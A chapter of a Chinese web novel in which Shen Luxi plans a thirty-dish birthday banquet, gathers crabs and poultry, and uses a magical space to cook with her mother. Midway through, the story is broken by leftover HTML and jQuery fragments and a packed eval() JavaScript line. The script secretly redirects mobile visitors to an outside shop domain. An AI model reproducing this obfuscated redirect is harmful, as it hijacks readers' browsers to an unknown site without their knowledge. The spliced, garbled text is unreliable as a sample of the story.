沈鹿溪把自己关在灶房里头，对着那张单子又理了一遍。
三十道出头的菜，光想想就头皮发麻。她在镇上开铺子到现在，最多一次也就做过八道菜的桌席，这回直接翻了好几倍，每一道的工序还都不简单。
她把单子摊在膝盖上，拿毛笔在旁边标注。
冷盘八碟里，雪花鱼脍得当天现做，鱼片放久了就不鲜了。水晶脍是鱼皮冻，得提前熬好放凉定型。洗手蟹用的是活蟹，李铁牛那边得提前打招呼，让他多攒几篓。糟鸡脯要用酒糟腌上，越早做越入味。
她越写越觉得，这活儿一个人扛不住，索性把柳荞娘拉到灶房里，把单子递给她看：“娘，刘家定的那桌寿宴，您帮我看看，哪些能提前备出来。”
柳荞娘接过单子，嘴里念叨着菜名，念到“糟鸡脯”的时候停了一下：“这个我会做，你外婆教过我，用好酒糟腌上，搁在阴凉地方放着就行。”
“那这道菜就交给您了。蜜煎金橘和咸酸蜜笋也得提前腌，您看着办。”
“成，这些小菜我拿手。”柳荞娘把单子翻了翻，皱了皱眉，“鹿溪，这个腊脯肉片，咱们家没有腊肉啊。”
“我来想办法。”
当天晚上，沈鹿溪进了空间，心里默念着“腊肉，腊肉”，没想到石碑上还真刷新出了腊肉，用红薯干就能换。
“难道这遗迹集市还会根据需求来刷新物品？”沈鹿溪心想。
她没耽误多久，直接就换了十斤出来，切了一块尝了尝，烟熏味正，肥瘦相间，跟寻常铺子比能拉出十万八千里。
除了腊肉，她还在石碑上看到了一样新东西，叫“椒梅酱”，说明写着用青梅和花椒腌制而成，可做冷盘蘸料。这正好是冷盘里“椒梅砌香”那道菜要用的。
她换了两罐出来，又去灵田那边转了一圈。升到三级后的五倍时间流速果然快，自动种田的占城稻已经收了一茬，窑洞里又多了几百斤稻米。红薯也快熟了，叶子已经开始发黄了。
从空间出来，沈鹿溪把腊肉和椒梅酱藏到灶台底下的角落里，又把荷叶和橙子搁进篮子，用布盖好。
第二天一早，她先去了趟李铁牛家。
李铁牛正在院子里修鱼篓，看见沈鹿溪来了，放下手里的活：“鹿溪妹子，要鱼？”
“要螃蟹，大的，活的，越肥越好。我过几天有一桌大席面，螃蟹不能少。你能攒多少？”
李铁牛挠了挠后脑勺：“大蟹不好抓啊，溪里的蟹个头都不算大，你要是要真正的肥蟹，得去上游的深潭子里捞。”
“能捞到吗？”
“能，就是费工夫。你要多少？”
“至少二十只，个头得有巴掌大。”
李铁牛咂了咂嘴：“行，我这就去，不过得跑两趟。”
“辛苦你了，价钱按大蟹的市价来，不会亏你。”
从李铁牛家出来，沈鹿溪又去了趟周大娘的鸡鸭摊。这回要的量大，光鸡就要四只，鸭子两只，还得是肥的。周大娘听了直咧嘴笑，说她回去就挑，保准挑最好的。
鹌鹑是个麻烦事。菜单里有一道“花炊鹌子”，用的是整只鹌鹑，南安镇的集市上不卖这个。沈鹿溪想了想，去找了苏庆安，让他帮忙问问镇外的猎户手里有没有。
苏庆安一听就拍了胸脯：“这个我知道，张家村的老猎户赵三叔家里养了不少，我帮你去问。”
食材的事安排得差不多了，沈鹿溪回到铺子，把周翠兰叫到后院。
“周婶子，寿宴那天，陪桌的菜你来做，主桌我自己盯着。到时候灶房会很挤，你提前把陪桌要用的菜都备好，别到时候手忙脚乱。”
周翠兰拍了拍胸脯：“放心，陪桌的菜都是家常菜，我闭着眼都能做。”
“还有，你侄女什么时候能来？”
“我昨晚就跟她说了，明天就过来帮忙。”
“好，让她先来铺子熟悉一下灶房的位置，知道东西放在哪儿，到时候才不会乱。”
安排完铺子的事，沈鹿溪回了家，趁着没人注意，把柳荞娘叫上一起进了空间。
柳荞娘这回进来已经不害怕了，进门就直奔窑洞，把沈鹿溪列的单子摊在石桌上，开始一样一样地找。
“糟鸡脯的酒糟在哪儿？”
“第三个窑洞，靠墙那排坛子，最左边那个。”
柳荞娘搬出酒糟坛子，又找了几只处理好的鸡脯肉，在石桌上铺开荷叶，手脚麻利地腌了起来。
沈鹿溪没闲着，去灵田那边摘了一筐新鲜的蔬菜，又到灵泉边上打了两桶水。灵泉水泡过的食材保鲜时间长，鱼放在里面养着，到用的时候还是活蹦乱跳的。
她把两条鲫鱼放进灵泉水桶里，又去药圃采了一把当归和黄芪，这是莲叶蒸鸡要用的。
</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17846536|208019||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
“娘，蜜煎金橘您会做吗？”
柳荞娘头也没抬：“会，用蜂蜜和饴糖慢慢熬就行，金橘和蜂蜜在哪儿？”
“集市遗迹那边刷新了一批，我去换。”
沈鹿溪跑去石碑前，果然看见金橘和蜂蜜的图样，用鲜红薯换了一些回来。柳荞娘接过去看了看，挑了挑眉：“这金橘个头不小啊。”
“空间出品，必属精品。”
母女俩在空间里忙活了大半天，外面才过了不到一个时辰。等出来的时候，糟鸡脯已经腌上了，蜜煎金橘也下了锅，咸酸蜜笋切好了装在坛子里，用石头压着。
柳荞娘擦了擦手上的糖渍，满脸成就感：“鹿溪，这些够不够？”
“够了，娘你辛苦了。剩下的菜我自己来，你歇着吧。”
“歇什么歇，你说那个水晶脍怎么做？我帮你熬。”
“鱼皮冻，得用草鱼的皮和骨头慢慢熬，熬到汤汁浓稠了倒进模子里，放凉了就定型了。”
“这个简单，交给我。”
沈鹿溪笑了笑，把草鱼递给柳荞娘，自己则坐到桌前，把寿宴当天的上菜顺序又捋了一遍。
先摆高饤看果和缕金香药做陈设，客人入席后上冷盘八碟。等第一盏酒斟满，莲叶蒸鸡和三脆羹就得端上去。后面每盏酒配两道菜，节奏不能乱，上快了客人吃不过来，上慢了冷场。
她在纸上画了一张时间表，把每道菜什么时候下锅、什么时候出锅、谁负责端上去，全标得清清楚楚。
正写着，顾南祁从外面回来了，手里提着两坛子豆酱，搁在灶房门口。
“买回来了，老掌柜说这是去年秋天酿的，放了半年多了。”
沈鹿溪走过去揭开坛子盖闻了闻，酱香味很浓，颜色深褐，稠度也够。
“这个可以用，谢了。”
顾南祁看了一眼她手里的单子：“在忙什么？”
“刘家定了一桌寿宴，三十多道菜，我在排上菜的顺序。”
顾南祁扫了一眼单子上的菜名，目光停了一下：“九盏酒配菜，这是按临安大户人家的规矩来的。”
沈鹿溪抬头看了他一眼：“你也懂这个？”
“见过。”顾南祁说：“你也不看我是谁。”
“切，你现在又不是什么大户人家了，况且那会你才多大啊。”